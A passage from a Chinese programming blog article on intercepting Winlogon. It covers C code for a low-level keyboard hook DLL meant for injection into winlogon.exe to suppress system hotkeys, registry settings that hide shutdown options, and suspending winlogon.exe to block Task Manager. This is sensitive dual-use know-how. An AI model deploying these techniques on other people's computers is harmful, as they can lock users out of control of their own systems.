拦截 Winlogon 调用——拦截系统热键、关机等

2023-11-06 04:00

本文主要是介绍拦截 Winlogon 调用——拦截系统热键、关机等,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

        前言

一、关于 Winlogon 过程

二、通过低级键盘钩子挂钩系统快捷键

        2.1 Windows 挂钩

        2.2 挂钩过程

        2.3 键盘钩子

        2.4 屏蔽/通知部分系统热键

        2.5 完整代码

三、通过编程拦截 Winlogon 过程

        3.1 利用注册表/组策略实现阻止用户关机

        3.2 挂起 Winlogon 进程以屏蔽响应

        3.3 注册原因请求接口实现关机拦截

        3.4 挂钩电源接口[关机/重启]相关函数

                3.4.1 初步分析 ExitWindowsEx 函数(Win XP / Win 7)

                3.4.2 使用 Detours 内联挂钩

                3.4.3 挂钩 InitiateShutdownW 函数(Win 8/8.1)

                3.4.4 拦截强制关机/重启(WinXP/Win 7/ 8)

                3.4.5 拦截强制关机/重启(Win 10)

        3.5 注意事项和局限性分析

四、挂钩 RPC 调用——直接过滤 Winlogon 回调

        4.1 了解 Winlogon 的 RPC 过程调用

        4.2 分析关键函数

        4.3 过滤方法一:拦截 RPC 的字符串句柄绑定过程

        4.4 过滤方法二:拦截 Server 端异步回调过程

五、通过 ICredentialProvider 接口重写凭据提供程序

        5.1 方法概述


前言

本文主要讲解关于挂钩 Winlogon 回调过程,实现对任务管理器电源操作DWM 自启动控制、常见系统热键等进行编程拦截。最后,我们指出可以通过我们的方法修改系统登陆或者其他安全页面的界面样式,达到自定义的效果。这里主要涉及 R3 用户层下的挂钩,如果是 R0,有些操作可能更为简单。这是之前编写的一篇文章,一直没有发布,最近得空完善了一下。

【提示】本文为了有助于不了解 Winlogon 的读者初步理解我们在完成的事情,在第一、二、三框题下主要是对以前已知的一些方法技术进行简单的整理,而第四、五框题下,则是完整的新方法和用例,如有必要,可以直接跳转到所需要的位置阅读。

(我也不想写长文☆*: .。. o(≧▽≦)o .。.:*☆)


一、关于 Winlogon 过程

WinlogonWindows 操作系统的关键部分。此过程始终在 Windows 的后台运行,并负责一些重要的系统功能。如果没有 WinlogonWindows 将无法使用。

此过程执行与 Windows 登录过程有关的各种关键任务。例如,当登录时,winlogon.exe 进程负责将用户配置文件加载到注册表中。这使程序可以使用注册表 HKEY_CURRENT_USER 下的键,每个 Windows 用户帐户的键都不同。

Winlogon 初始化时,它会向系统注册 Ctrl + Alt + Del 安全警示序列 (SAS) [XP 上,安全序列有 SAS 窗口,在之后的系统上为了安全性取消了该机制,但是快捷键依然注册],然后在 WinSta0 窗口工作站中创建三个桌面。

注册 Ctrl + Alt + Del 会使此初始化成为第一个过程,从而确保没有其他应用程序挂钩该键序列。

WinSta0 是表示物理屏幕、键盘和鼠标的窗口站对象的名称。 WinlogonWinSta0 对象中创建以下桌面。

桌面说明

Winlogon 安全桌面

(WinLogon 桌面)

这是 Winlogon 用于交互式标识和身份验证以及其他安全对话框的桌面。 Winlogon 在收到事件通知时会自动切换到此桌面。一般地,Winlogon 会拉起一个名为 LogonUI.exe 的 UI 进程用于交互式登陆。
应用程序桌面(Default 桌面)每次用户成功登录时,都会为该登录会话创建一个应用程序桌面。 应用程序桌面也称为默认桌面或用户桌面。 此桌面是所有用户活动发生的地方。 应用程序桌面受到保护;只有系统和交互式登录会话才有权访问它。 请注意,只有登录用户的特定实例才能访问桌面。 如果交互式用户使用服务控制器激活进程,该服务应用程序将无权访问应用程序桌面。

屏幕保护程序桌面

(Screen-saver 桌面)

这是屏幕保护程序运行时的活动桌面。 如果用户已登录,则系统和交互式登录会话都有权访问桌面。 否则,只有系统有权访问桌面。这个桌面名叫 Screen-saver 桌面,会在系统登陆、锁屏、欢迎界面等情况下变成活动桌面。

备注:通常在登录会话处于暂停状态时(用户不是活动用户),这个用户的桌面会切换到 Disconnected 桌面

Winlogon.exe 具有进入系统的特殊挂钩,并监视 Ctrl + Alt + Delete / Ctrl + Alt + Esc / WIN + L 等系统热键是否被按下,这就是所谓的“安全警示序列”。某些 PC 可能配置为要求在登录之前按 Ctrl + Alt + Delete 。键盘热键的组合始终被 winlogon.exe 捕获,从而确保了您在安全的桌面上登录,其他程序无法监视您输入的密码或模拟登录对话框。

Windows 登录应用程序还监视您的键盘和鼠标活动,并在一段时间不活动后负责锁定 PC 并启动屏幕保护程序。

通常, Winlogon 只占用少量系统资源来执行关键系统过程。

Winlogon 具有以下职责:

  • 窗口工作站和桌面保护

Winlogon 设置对窗口工作站和相应桌面的保护,以确保每个桌面都可以正确访问。 通常,这意味着本地系统将拥有对这些对象的完全访问权限,并且以交互方式登录的用户将具有对窗口站对象的读取访问权限和对应用程序桌面对象的完全访问权限。

  • 标准 SAS 识别

WinlogonUser32 服务器中具有特殊的挂钩,使它可以监视 Ctrl + Alt + Del 安全警示序列 (SAS) 事件。 Winlogon 使此 SAS 事件信息用作其 SASSAS 的一部分,并启动安全序列的 UI 界面。

  • 用户配置文件加载

当用户登录时,其用户配置文件将加载到注册表中。 这样,用户的进程可以使用特殊注册表项 HKEY_CURRENT_USERWinlogon 会在成功登录后、激活新登录用户的 shell 之前自动执行此操作。

  • 将安全性分配给用户 shell

当用户登录时,Winlogon 负责为该用户创建一个或多个初始进程。 Winlogon 调用 Kernel 函数 CreateProcessAsUser,完成启动进程的任务,如启动 explorer.exe

  • 屏幕保护程序控件

Winlogon 监视键盘和鼠标活动,以确定何时激活屏幕保护程序。 激活屏幕保护程序后,Winlogon 将继续监视键盘和鼠标活动,以确定何时终止屏幕保护程序。 如果屏幕保护程序标记为安全,Winlogon 会将工作站视为已锁定。 当存在鼠标或键盘活动时,Winlogon 会恢复锁定的工作站行为。 如果屏幕保护程序不安全,则任何键盘或鼠标活动将终止屏幕保护程序。

Winlogon 的锁屏过程会启动一个名为 LockScreen 的进程。

  • 多个网络提供商支持

Windows 系统上安装的多个网络可以包含在身份验证过程和密码更新操作中。 此包含允许其他网络使用 Winlogon 的安全桌面在正常登录期间一次性收集标识和身份验证信息。 

二、通过低级键盘钩子挂钩系统快捷键

2.1 Windows 挂钩

挂钩是系统消息处理机制中的一个重要部分,应用程序可以安装子例程来监视系统中的消息流量,应用程序截获消息、鼠标操作和击键等事件,并在某些类型的消息到达目标窗口过程之前对其进行处理。 截获特定类型的事件的函数称为 挂钩过程。 挂钩过程可以对其接收的每个事件执行操作,然后修改或放弃该事件。

系统支持许多不同类型的挂钩;每种类型都提供对其消息处理机制的不同方面的访问。 例如,应用程序可以使用 WH_MOUSE 挂钩来监视鼠标消息的消息流量。

2.2 挂钩过程

系统为每种类型的挂钩维护单独的挂钩链。 挂钩链是指向应用程序定义的特殊回调函数(称为挂钩过程)的指针列表。 当发生与特定类型的挂钩关联的消息时,系统会将消息依次传递给挂钩链中引用的每个挂钩过程。 挂钩过程可以执行的操作取决于所涉及的挂钩类型。 某些类型挂钩的挂钩过程只能监视消息;其他人可以修改消息或通过链停止其进度,从而阻止它们到达下一个挂钩过程或目标窗口。

为了利用特定类型的挂钩,微软提供了一个挂钩过程,并使用 SetWindowsHookEx 函数将其安装到与挂钩关联的链中。 挂钩过程必须具有以下语法:

LRESULT CALLBACK HookProc(

int nCode,

WPARAM wParam,

LPARAM lParam

) {

// process event ...

return CallNextHookEx(NULL, nCode, wParam, lParam);

}

nCode 参数是挂钩过程用于确定要执行的操作的挂钩代码。 挂钩代码的值取决于挂钩的类型;每种类型都有自己的特征挂钩代码集。 wParam 和 lParam 参数的值取决于挂钩代码,但它们通常包含有关已发送或发布的消息的信息。

SetWindowsHookEx 函数始终在挂钩链的开头安装挂钩过程。 当发生由特定类型的挂钩监视的事件时,系统会在与挂钩关联的挂钩链的开头调用过程。 链中的每个挂钩过程确定是否将事件传递给下一个过程。 挂钩过程通过调用 CallNextHookEx 函数将事件传递给下一过程。

HHOOK SetWindowsHookExA(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);

LRESULT CallNextHookEx(

[in, optional] HHOOK hhk,

[in] int nCode,

[in] WPARAM wParam,

[in] LPARAM lParam

);

请注意,某些类型挂钩的挂钩过程只能监视消息。 无论特定过程是否调用 CallNextHookEx,系统都会向每个挂钩过程传递消息。

全局挂钩监视与调用线程位于同一桌面中的所有线程的消息。 特定于线程的挂钩仅监视单个线程的消息。 全局挂钩过程可以在调用线程所在的桌面中的任何应用程序的上下文中调用,因此该过程必须位于单独的 DLL 模块中。 仅在关联线程的上下文中调用特定于线程的挂钩过程。 如果应用程序为其自己的线程之一安装挂钩过程,则挂钩过程可以位于与应用程序代码的其余部分相同的模块中,也可以位于 DLL 中。 如果应用程序为不同应用程序的线程安装挂钩过程,则该过程必须位于 DLL 中。 

2.3 键盘钩子

在这里,我们只需要了解各种类型挂钩中的两种:键盘输入钩子和低级别键盘输入钩子。这两个钩子分别对应于将 SetWindowsHookEx 函数的 idHook 参数置为以下值:

WH_KEYBOARD

2

安装用于监视击键消息的挂钩过程。  使用 KeyboardProc 挂钩过程。

WH_KEYBOARD_LL

13

安装用于监视低级别键盘输入事件的挂钩过程。 使用 LowLevelKeyboardProc 挂钩过程。

普通的键盘钩子无法挂钩系统热键,只有使用低级钩子 (Low-Level Hook) 才可以挂勾。但是由于“安全警示序列”受到桌面级挂钩保护,任何 User32 程序都无法通过系统提供的钩子函数挂钩这类热键,即 Ctrl + Alt + DeleteWin + L 等按键消息是无法挂钩的。但是有些时候,我们只挂钩一般的系统热键就可以了。下面给出了 LowLevelKeyboardProc 挂钩过程的回调:

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int    nCode,_In_ WPARAM wParam,_In_ LPARAM lParam
)
{if(nCode == HC_ACTION){// process event ...}// if nCode < HC_ACTION (0), then CallNextHookEx must be used.return CallNextHookEx(NULL, nCode, wParam, lParam);
}

其中,wParam 是键盘消息的标识符。可以是以下消息之一: WM_KEYDOWNWM_KEYUPWM_SYSKEYDOWNWM_SYSKEYUPlParam 是指向 KBDLLHOOKSTRUCT 结构的指针。

typedef struct tagKBDLLHOOKSTRUCT {

DWORD vkCode;

DWORD scanCode;

DWORD flags;

DWORD time;

ULONG_PTR dwExtraInfo;

} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

vkCode 参数表示虚拟按键码。 该码必须是 1 到 254 范围内的值。

scanCode 是按键的硬件扫描码,关于硬件扫描码的码表有人整理出来了,可以参考这篇转载文章:键盘硬件扫描码(邓志)。

flags 是扩展键标志、事件注入标志、上下文代码和转换状态标志。 下表描述了此值的布局:

Bits说明
0指定键是扩展键,例如功能键还是数字键盘上的键。 如果键是扩展键,则值为 1;否则为 0。
1指定事件是否是从在较低完整性级别运行的进程中注入的。 如果出现这种情况,则值为 1;否则为 0。 请注意,每当设置位 1 时,也会设置位 4。
2-3保留。
4指定是否注入事件。 如果出现这种情况,则值为 1;否则为 0。 请注意,设置第 4 位时不一定设置位 1。
5上下文代码。 如果按下 Alt 键,则值为 1;否则为 0。
6保留。
7转换状态。 如果按下了键,则值为 0;如果释放键,则值为 1。

应用程序可以使用以下值来测试击键标志。 测试 LLKHF_INJECTED (位 4) 将告知是否已注入事件。 如果是,则测试 LLKHF_LOWER_IL_INJECTED (位 1) 会告诉你事件是否是从以较低完整性级别运行的进程注入的。

time 参数返回此消息的时间戳,相当于 GetMessageTime 为此消息返回的时间戳。

dwExtraInfo 返回与消息关联的其他信息。

有了回调函数,我们只需要在消息链中注入回调即可实现挂钩,用于设置钩子的 SetWindowsHookEx 函数可以这样设置参数:

/* WH_KEYBOARD_LL 表示使用低级键盘钩子回调;* KeyboardProc 是函数指针,指向回调函数;* 通过 GetModuleHandle(NULL) 获取挂钩进程的模块句柄* 这里是当前 DLL 的句柄,其中包含挂钩过程函数。 */
SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);

2.4 屏蔽/通知部分系统热键

上文通过 WindowsHook 的回调我们实现了对系统热键的捕获,但是在回调中我们并没有做任何事情。那么,如何通过回调处理具体的按键信息呢?经查阅资料,可以通过会调和函数中 lParam 返回的结构体指针来分析当前按下的低级别按键信息,并对击键消息做出响应:

// 将 lParam 的地址转换为指向适当结构体的指针
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;

我们知道系统热键常常是组合按键,因为这样更安全有区分性,可以尽可能避免热键冲突。我们通过 KBDLLHOOKSTRUCT 结构体的成员 vkCode 确定虚拟密钥,flags 用于确定扩展按键,由于他们的组合有限,对于一些特殊的组合可能无法精确判断,故我们也会结合 GetKeyState 函数。

下表展示了 KBDLLHOOKSTRUCT 结构体的成员:

  • vkCode

类型:DWORD

虚拟密钥代码。 代码必须是 1 到 254 范围内的值。

  • scanCode

类型:DWORD

密钥的硬件扫描代码。

  • flags

类型:DWORD

扩展键标志、事件注入标志、上下文代码和转换状态标志。 此成员指定如下。 应用程序可以使用以下值来测试击键标志。 测试LLKHF_INJECTED (位 4) 将告知是否已注入事件。 如果是,则测试LLKHF_LOWER_IL_INJECTED (位 1) 会告诉你事件是否是从以较低完整性级别运行的进程注入的。

含义

LLKHF_EXTENDED

>> (KF_EXTENDED 8)

测试扩展键标志。

LLKHF_LOWER_IL_INJECTED

0x00000002

从以较低完整性级别) 标志运行的进程测试事件注入 (。

LLKHF_INJECTED

0x00000010

从任何进程) 标志测试事件注入 (。

LLKHF_ALTDOWN

>> (KF_ALTDOWN 8)

测试上下文代码。

LLKHF_UP

>> (KF_UP 8)

测试转换状态标志。

我们在消息查询线程中使用 GetKeyState 函数来获取键盘虚拟按键的状态信息,使用该函数并集合结构体返回的信息,即可做到对组合键的识别。

GetKeyState 函数的定义如下:

SHORT GetKeyState(
  [in] int nVirtKey
);

根据定义 GetKeyState 函数的返回值为 SHORT 类型,即短整型。SHORT 型是 16 位有符号的数据类型,如果要查询的键被按下,返回值最高位被置为 1,则这个数表示负数,所以可以取最高位和 0 比较来判断按键是否被击中。下面定义的宏可以实现对按键按下和弹出的判断:

#define IsKeyDown(vk_code) ((GetKeyState(vk_code) & 0x8000) ? 1 : 0)
#define IsKeyUp(vk_code) ((GetKeyState(vk_code) & 0x8000) ? 0 : 1)

系统注册的常见热键有:ALT + TABALT + ESCCTRL + ESCCTRL + SHIFT + ESCWin + LCTRL + ALT + DEL 等。通过如下所示的挂钩过程可以对大多数系统热键进行拦截或者通知:

// 低级键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{if (nCode == HC_ACTION){switch (wParam){case WM_KEYDOWN:  case WM_SYSKEYDOWN:// 将 lParam 的地址转换为指向适当结构体的指针PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;if (p->vkCode == VK_F12){// 实现退出/结束挂钩MessageBoxW(GetForegroundWindow(), L"I'm in position..", L"Hook LowLevelKey", MB_OK);if (hHook != NULL){if (!UnhookWindowsHookEx(hHook)){SetThreadDesktop(hCurDesk);CloseHandle(hCurDesk);OutputDebugString(L"Unhook failed..");break;}OutputDebugString(L"键盘钩子成功取消");}return 0;}// 屏蔽 ALT+TABelse if ((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 ALT+TAB 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 ALT+ESCelse if ((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0) && ((GetKeyState(VK_SHIFT) & 0x8000) == 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 ALT+ESC 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 CTRL+ESCelse if ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 CTRL+ESC 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 CTRL+SHIFT+ESCelse if ((p->vkCode == VK_ESCAPE) &&((GetKeyState(VK_CONTROL) & 0x8000) != 0) &&((GetKeyState(VK_SHIFT) & 0x8000) != 0)){return 1;}// 屏蔽左右 Win + L 键else if (((GetKeyState(VK_L) & 0x8000) != 0) && ((GetKeyState(VK_LWIN) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 WIN+L 键", L"Hook LowLevelKey", MB_OK);return 1;}// 此处无法屏蔽 CTRL+ALT+DEL,但可以拦截到消息else if ((p->vkCode == VK_DELETE) &&((GetKeyState(VK_CONTROL) & 0x8000) != 0) &&((GetKeyState(VK_MENU) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 CTRL+ALT+DEL 键", L"Hook LowLevelKey", MB_OK);return 1;}break;}}return CallNextHookEx(hHook, nCode, wParam, lParam);
}

但对于一个低级键盘钩子,他不会加载链接库到所有窗口进程中。如果在一个窗口进程中加载钩子,则可以实现消息过滤。但现在加载的对象是 Winlogin,这个进程不是窗口进程,它的线程也不在系统应用程序所处的 Default 桌面下,因此在这个进程中加载钩子,需要注意以下几点:

1. 在需要注入的 DLL 代码中 DLL_PROCESS_ATTACH 处开启一个新线程,并在该线程中实现启用低级键盘钩子的函数。

2. 由于钩子所在的线程为非窗口的消息处理线程,因此,必须在该线程成功设置钩子以后主动接收并分发收到的消息,否则钩子将不会钩到任何消息:

MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessage(&msg);
}

3. 由于该线程创建时默认与 Winlogon 同属一个桌面(Winlogon 桌面),而其它包括 explorer.exe 在内的窗口程序都处在 Default 桌面,在 Windows 中规定程序只能获得针对同一桌面上创建的窗口消息。所以,要让该线程能接收到用户在 Default 桌面下操作所产生的消息,必须在该线程中使用如下代码将它的桌面设置为 Default 桌面:

HDESK hDesk = OpenDesktop("Default",0,FALSE,MAXIMUM_ALLOWED);
SetThreadDesktop(hDesk);
CloseHandle(hDesk);

钩子例程在解决了以上问题之后,能正确设置钩子,处理回调函数。从而实现屏蔽/通知系统热键的状态。

2.5 完整代码

一个完整的利用 SetWindowsHookExW 的低级钩子库代码如下:

#include <windows.h>
#include <stdio.h>// 键盘钩子过程
HDESK hCurDesk = NULL;// Dll所创建线程的句柄
HANDLE hThread = NULL;
// Dll所创建线程的ID
DWORD dwThreadId = 0;
// Dll所创建线程的线程函数
DWORD WINAPI ThreadFunc();// 钩子句柄
HHOOK hHook = NULL;
// 低级键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int, WPARAM, LPARAM);#define VK_L 0x4CBOOL APIENTRY DllMain(HANDLE hMoudle, DWORD dwReason, LPVOID lpReserved)
{switch (dwReason){case DLL_PROCESS_ATTACH:hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadFunc, NULL, 0, &dwThreadId);break;case DLL_PROCESS_DETACH:// 卸载低级键盘钩子if (hHook != NULL){if (!UnhookWindowsHookEx(hHook)){SetThreadDesktop(hCurDesk);CloseHandle(hCurDesk);OutputDebugString(L"Unhook failed..");break;}OutputDebugString(L"键盘钩子成功取消");}TerminateThread(hThread, 1);CloseHandle(hThread);break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;}return TRUE;
}// Dll所创建线程的线程函数
DWORD WINAPI ThreadFunc()
{hCurDesk = GetThreadDesktop(GetCurrentThreadId());HDESK hUserDesk = NULL;// 同一桌面上进程之间只能发送窗口消息。无法跨进程与其他桌面发送它们。 // 同样,Windows 消息是限制应用程序定义挂钩。// 特定桌面中运行的进程挂钩过程将〈〈只获得针对同一桌面上创建窗口消息。〉〉// 所以,这里必须设置钩子所在线程的桌面为Default桌面// 才能使得钩子所在线程能接收到 Default 桌面的消息hUserDesk = OpenDesktopW(L"Default", 0, FALSE, MAXIMUM_ALLOWED);SetThreadDesktop(hUserDesk);CloseHandle(hUserDesk);// 设置低级键盘钩子,屏蔽非SAS window的热键// 需要 #define _WIN32_WINNT 0x0500hHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);if (hHook == NULL){OutputDebugString(L"Set hook failed..");return 1;}OutputDebugString(L"键盘钩子成功设置");// 在非 GUI 线程中使用消息钩子必须主动接收并分发收到的消息MSG msg;while (GetMessageW(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessageW(&msg);}return 1;
}// 低级键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{if (nCode == HC_ACTION){switch (wParam){case WM_KEYDOWN:  case WM_SYSKEYDOWN:PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;if (p->vkCode == VK_F12){// 实现模拟按键代码MessageBoxW(GetForegroundWindow(), L"I'm in position..", L"Hook LowLevelKey", MB_OK);if (hHook != NULL){if (!UnhookWindowsHookEx(hHook)){SetThreadDesktop(hCurDesk);CloseHandle(hCurDesk);OutputDebugString(L"Unhook failed..");break;}OutputDebugString(L"键盘钩子成功取消");}return 0;}// 屏蔽 ALT+TABelse if ((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 ALT+TAB 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 ALT+ESCelse if ((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0) && ((GetKeyState(VK_SHIFT) & 0x8000) == 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 ALT+ESC 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 CTRL+ESCelse if ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 CTRL+ESC 键", L"Hook LowLevelKey", MB_OK);return 1;}// 屏蔽 CTRL+SHIFT+ESCelse if ((p->vkCode == VK_ESCAPE) &&((GetKeyState(VK_CONTROL) & 0x8000) != 0) &&((GetKeyState(VK_SHIFT) & 0x8000) != 0)){return 1;}// 屏蔽左右 Win + L 键else if (((GetKeyState(VK_L) & 0x8000) != 0) && ((GetKeyState(VK_LWIN) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 WIN+L 键", L"Hook LowLevelKey", MB_OK);return 1;}// 此处无法屏蔽 CTRL+ALT+DEL,但可以拦截到消息else if ((p->vkCode == VK_DELETE) &&((GetKeyState(VK_CONTROL) & 0x8000) != 0) &&((GetKeyState(VK_MENU) & 0x8000) != 0)){MessageBoxW(GetForegroundWindow(), L"已经拦截到 CTRL+ALT+DEL 键", L"Hook LowLevelKey", MB_OK);return 1;}break;}}return CallNextHookEx(hHook, nCode, wParam, lParam);
}

以上的钩子,只能拦截一般的系统热键,而且可能会失败。尤其是不能拦截 Ctrl + Alt + Delete 组合键。在 Windows XP 系统上,可以通过远程注入 DLL 到 winlogon.exe 进程,修改 Winlogon 桌面下的 SAS 窗口的回调函数,从而捕获该窗口的 WM_HOTKEY 消息,可以实现屏蔽 Ctrl + Alt + Delete。这个方法也有缺陷,那就是除了 Ctrl + Alt + Delete 外,大多数的其它系统热键,(包括Alt + Tab,Ctrl + Esc及左右 WIN 键)都无法屏蔽。一般地,我们会混合使用前面两种钩子实现在 WinXP 上的系统热键过滤。但是在 Vista 上就取消了 SAS 界面以及 GINA 组件,所以过滤 Ctrl + Alt + Delete 组合键就成为了难题。这一点我们在后面会解决。

三、通过编程拦截 Winlogon 过程

在新的内容开始前,我想整理一些旧文,这一框题展示了在以前的系统上实现在用户关机/重启/注销时弹出对话框的功能。为什么需要先讲这个部分?因为这一部分需要拦截的函数是截至 Win 8 系统,微软所采用的关机/重启等途径上的关键函数,这有助于我们理解后续的拦截任意 Winlogon 操作方法分析。

3.1 利用注册表/组策略实现阻止用户关机

WinlogonExplorer 在执行操作前会检查或设置多个注册表位置下的键值,我们常常通过 Process Monitor 等工具分析注册表操作来挖掘可用信息。

在操作系统中,用户可以通过“开始”菜单的电源按钮,打开电源选项卡。电源选项中一般有注销、重启、关机、睡眠/休眠几个选项。下图展示了在 Win 11 上电源选项卡的弹出式窗口内容:

如果您的电脑需要长期运行而不关机,为了防止误关机,可以手动隐藏这些按钮。下面介绍如何通过修改注册表实现隐藏电源按钮。在注册表中,我们可以分别隐藏关机、重启、睡眠、电源按钮、休眠、注销、切换用户等控件/选项。

在“运行”对话框(快捷键 WIN + R) 或开始菜单中输入 Regedit 并回车,打开注册表编辑器。定位至以下路径:

[注册表路径]

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start

Start 主键下,可以看到一部分名称以 Hide 开头的子键,通过名称我们就知道它们对应的功能,比如 HideShutDown 表示隐藏关机选项、HidePowerButton 表示隐藏电源按钮。

在这些以 Hide 开头的键下,有多个固定名称的值项,其中名为"value" 的值用于表示是否隐藏,值的数据为 1 表示隐藏,值的数据为 0(默认)表示始终显示。

对这些项的大多数修改会立即生效,部分修改(如隐藏电源按钮)需要重启资源管理器。这里以隐藏关机选项为例,将 HideShutDown 下的 value 的值修改为 1,打开开始菜单的电源按钮,可以观察到“关机”选项已经消失:

并且在资源管理器的桌面或任务栏击中 Alt + F4 热键。在弹出的“关闭 Windows”对话框中,也不能找到“关机”选项:

此外,还可以通过组策略编辑器实现禁用电源选项:通过运行 gpedit.msc 打开组策略编辑器,展开“计算机配置 - 管理模板 - 开始菜单和任务栏”树结构,在右边的设置栏中可以找到“删除并阻止访问关机、重新启动、睡眠和休眠命令”这一项。

双击编辑属性,点击“已禁用”,点击“应用”,点击确定关闭对话框:

 此设置将会同时隐藏关机、重新启动、睡眠和休眠命令。当然,也可以通过注册表修改组策略:

在注册表中打开如下路径

[注册表路径] —— 当前计算机

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

\Policies\Explorer

[注册表路径] —— 当前用户

计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion

\Policies\Explorer

找到 HidePowerOptions 值项,如果没有可以打开右键菜单,选择“新建 - DWORD(32位)值”,并命名为 HidePowerOptions,我们需要修改其数据为1。

这会禁用电源按钮中的所有电源选项,但不会在 Alt+ F4 中生效。

此外,通过组策略或者注册表可以禁用登陆界面的电源按钮,可以通过如下方法完成:

(1)组策略

打开“运行”对话框,并输入 gpedit.msc,打开“本地组策略编辑器”;在本地组策略编辑器的左侧窗格中,向下展开到“计算机配置”>“ Windows设置”>“安全设置”>“本地策略”>“安全选项”。 在右侧,找到“关闭:无需登录即可关闭系统”项,然后双击它。

在属性设置页面点击“已启用”,点击“应用”,随后点击“确定”关闭页面,然后重启计算机即可生效。 

(2)注册表

首先,点击开始并键入“regedit”,打开注册表编辑器。 按 Enter 键打开注册表编辑器,并授予其对 PC 进行更改的权限。 在注册表编辑器中,使用左侧边栏导航至以下键:

[注册表路径]

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

\Policies\System

在右侧的项列表中,找到 ShutdownWithoutLogon 值,然后双击它(如果没有,请创建它)。 

在“数值数据”框中将值设置为0 ,然后单击“确定”。

退出注册表编辑器,然后重新启动计算机以查看更改。 重新登录后,应该不再在登录屏幕的右下角看到“关机”按钮。

上面所提到的注册表修改方式可以通过编程修改,道理是一样的。

由于注册表只是让 GUI 界面的按钮隐藏,而并不是阻止相关的过程,调用和电源有关的接口的进程依然可以关闭计算机。

3.2 挂起 Winlogon 进程以屏蔽响应

一些程序通过挂起 winlogon.exe 进程来阻滞一切由其控制的操作,这方便于他们所要的功能的实现。在 Win 7 时,很多工具在后台挂起该进程达到阻止任务管理器 (Taskmgr) 启动的作用。

打开 Procexp (Process Explorer) 找到登陆应用程序的进程,在右键菜单中可以看到挂起进程 ( Suspend) 选项:

看到进程状态被标记为 Suspended(已挂起),表示进程将暂停执行过程。

这时候,你可以尝试按下 Ctrl + Alt + Esc ,这将阻止任务管理器的启动。但是这个方法在 Win 10/11 上行不通,挂起进程会导致一切“以管理员身份启动”操作都被阻滞。并且影响 Winlogon 的稳定性。

3.3 注册原因请求接口实现关机拦截

微软提供了一些函数接口用于电源状态改变时程序能够及时得到通知。下面我们简单分析关机拦截API 的功能。

对于 GUI 应用程序,只有关闭和重新启动才被视为挂起操作。进入睡眠模式并不是一个非常重要的事件,因为它不会改变 GUI 应用程序工作中的任何内容。在某些情况下,我们可能需要检测睡眠模式,以便向其他系统组件发送 PC 将进入睡眠状态的消息。但是,大多数 GUI 应用只需要检测操作系统关闭和重启的机制。让我们看看这些机制是如何工作的:

GUI 应用程序通过窗口消息接收有关目标事件的信息。这就是为什么我们需要 WM_QUERYENDSESSION 和 WM_POWERBROADCAST 消息来使 GUI 应用程序能够检测操作系统关闭。

Windows 在用户启动用户会话关闭过程时发送 WM_QUERYENDSESSION 窗口消息。关闭计算机并重新启动也会导致用户会话结束。因此,这些事件的消息通过同一个窗口消息传递。

我们使用 WM_POWERBROADCAST 消息来获取有关系统暂停的信息。以下是我们在 GUI 应用程序中处理此消息的方式:

//...case WM_POWERBROADCAST:{if (wParam == PBT_APMSUSPEND)// 计算机正在挂起break;}case WM_QUERYENDSESSION:{if (lParam == 0)// 计算机正在关闭if ((lParam & ENDSESSION_LOGOFF) == ENDSESSION_LOGOFF)// 正在注销用户break;}
//...

WM_POWERBROADCAST 中的 lParam 参数包含各种系统事件的标识符,包括关闭。对于WM_QUERYENDSESSION 窗口消息,值为 0 表示重新启动或关闭,而其他值表示其他事件。

备注:通过模拟发送该消息和 WM_ENDSEESION ,可以实现关机前准备过程

请注意,我们单独处理关机和注销事件,因为它们不一定是关联的。

收到 WM_QUERYENDSESSION 后,我们能做什么?

case WM_QUERYENDSESSION:
